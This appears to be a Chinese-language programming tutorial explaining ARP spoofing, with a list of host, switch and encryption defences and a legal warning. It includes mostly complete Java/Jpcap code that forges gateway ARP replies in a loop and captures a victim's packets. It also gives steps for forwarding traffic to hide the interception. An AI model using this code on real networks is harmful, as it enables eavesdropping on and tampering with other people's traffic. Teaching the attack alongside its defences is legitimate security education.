首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 程式設計入門

Java 實現 ARP 欺騙與數據包監聽:原理、代碼與防禦思考

     編輯:Java 程式設計入門

ARP 欺騙原理與 Java 實戰實現

ARP(Address Resolution Protocol)欺騙是局域網中常見的中間人攻擊手段。本文詳細解析 ARP 協議工作機制、欺騙攻擊原理,並提供基於 Jpcap 的 Java 實現代碼,最後探討防禦對策。

ARP 協議基礎

  • 作用:將 IP 地址解析為 MAC 地址(網絡層 → 數據鏈路層)
  • 流程:發送 ARP 請求廣播 → 目標主機回應 ARP Reply → 緩存 IP-MAC 映射
  • 緩存查看:命令行執行 arp -a 查看本地 ARP 表

ARP 欺騙攻擊原理

正常通信:          A(192.168.1.100, MAC_A) ←→ 网关(192.168.1.1, MAC_G)
                     A的ARP表:192.168.1.1 → MAC_G

攻擊過程:          攻擊者C(192.168.1.200, MAC_C)
                     1. 偽造ARP Reply:源IP=192.168.1.1,源MAC=MAC_C
                     2. 發送給A,A更新ARP表:192.168.1.1 → MAC_C
                     3. A發往網關的數據實際發送給C
                     4. C可竊聽/篡改/轉發數據(中間人攻擊)

Java 實現:基於 Jpcap 的 ARP 欺騙與監聽

核心依賴


<dependency>
    <groupId>net.sourceforge.jpcap</groupId>
    <artifactId>jpcap</artifactId>
    0.7
</dependency>

實體類:IP-MAC 映射


public class IpMacMap {
    private String ip;
    private byte[] mac;
    // 構造器、getter/setter 省略
}

ARP Reply 封包構造器


public class ARPPacketGenerator {
    public static ARPPacket generateReply(IpMacMap target, IpMacMap sender) throws Exception {
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;    // 以太網
        arp.prototype = ARPPacket.PROTOTYPE_IP;      // IP 協議
        arp.operation = ARPPacket.ARP_REPLY;         // 回應類型
        arp.hlen = 6;                                // MAC 長度 6 字節
        arp.plen = 4;                                // IP 長度 4 字節
        arp.target_hardaddr = target.getMac();
        arp.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arp.sender_hardaddr = sender.getMac();
        arp.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arp;
    }
}

以太網幀封裝


public class EthernetPacketGenerator {
    public static EthernetPacket generate(byte[] targetMac, byte[] senderMac) {
        EthernetPacket eth = new EthernetPacket();
        eth.frametype = EthernetPacket.ETHERTYPE_ARP; // ARP 幀類型
        eth.dst_mac = targetMac;
        eth.src_mac = senderMac;
        return eth;
    }
}

核心監聽與欺騙線程


public class ArpSpoofListener {
    private static final String GATEWAY_IP = "192.168.11.1";
    private static final byte[] GATEWAY_MAC = {0x00, 0x0a, (byte)0xc5, 0x42, 0x6e, (byte)0x9a};
    
    private JpcapCaptor captor;
    private JpcapSender sender;
    private Packet replyPacket;
    private NetworkInterface device;
    private IpMacMap target;
    
    public ArpSpoofListener(IpMacMap target) throws Exception {
        this.target = target;
        this.device = JpcapCaptor.getDeviceList()[1]; // 選擇網卡
        init();
    }
    
    private void init() throws Exception {
        captor = JpcapCaptor.openDevice(device, 2000, false, 10000);
        captor.setFilter("ip", true); // 僅捕獲 IP 封包
        sender = captor.getJpcapSenderInstance();
        
        // 構造偽造 ARP Reply:聲稱網關 IP 對應本機 MAC
        IpMacMap fakeGateway = new IpMacMap(GATEWAY_IP, device.mac_address);
        replyPacket = ARPPacketGenerator.generateReply(target, fakeGateway);
        replyPacket.datalink = EthernetPacketGenerator.generate(target.getMac(), device.mac_address);
    }
    
    public void start() {
        // 發送線程:持續發送偽造 ARP 刷新目標緩存
        new Thread(() -> {
            while (true) {
                try {
                    sender.sendPacket(replyPacket);
                    Thread.sleep(500); // 500ms 間隔對抗 ARP 緩存老化
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();
        
        // 監聽線程:捕獲經過本機的數據包
        while (true) {
            IPPacket packet = (IPPacket) captor.getPacket();
            if (packet != null) {
                System.out.println("捕獲封包: " + packet.src_ip + " → " + packet.dst_ip + 
                                 " 協議:" + packet.protocol + " 長度:" + packet.len);
                // 此處可添加數據包轉發邏輯,保持目標正常上網
            }
        }
    }
}

關鍵問題:數據包轉發

僅攔截不轉發會導致目標斷網。完整方案需:

  1. 捕獲目標發往網關的封包
  2. 修改目標 MAC 為真實網關 MAC
  3. 通過 sender.sendPacket() 轉發
  4. 同理處理網關返回封包

防禦對策

層面防禦措施
主機端靜態綁定 ARP 表(arp -s)、啟用 ARP 防火牆軟件
交換機端開啟 DAI (Dynamic ARP Inspection)、IP Source Guard、端口安全
網絡監控部署 ARP 異常流量檢測、定期掃描 ARP 表異常
加密通信使用 HTTPS、SSH、VPN 等加密協議,竊聽數據無法解密

法律與道德警示

⚠️ 重要聲明:ARP 欺騙屬於網絡攻擊行為。本文代碼僅供安全研究、教學演示、授權滲透測試使用。未經授權對他人網絡實施 ARP 欺騙違反《計算機信息網絡國際聯網安全保護管理辦法》及《刑法》第 285 條,可能面臨行政處罰或刑事責任。請嚴格遵守法律法規,勿用於非法用途。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved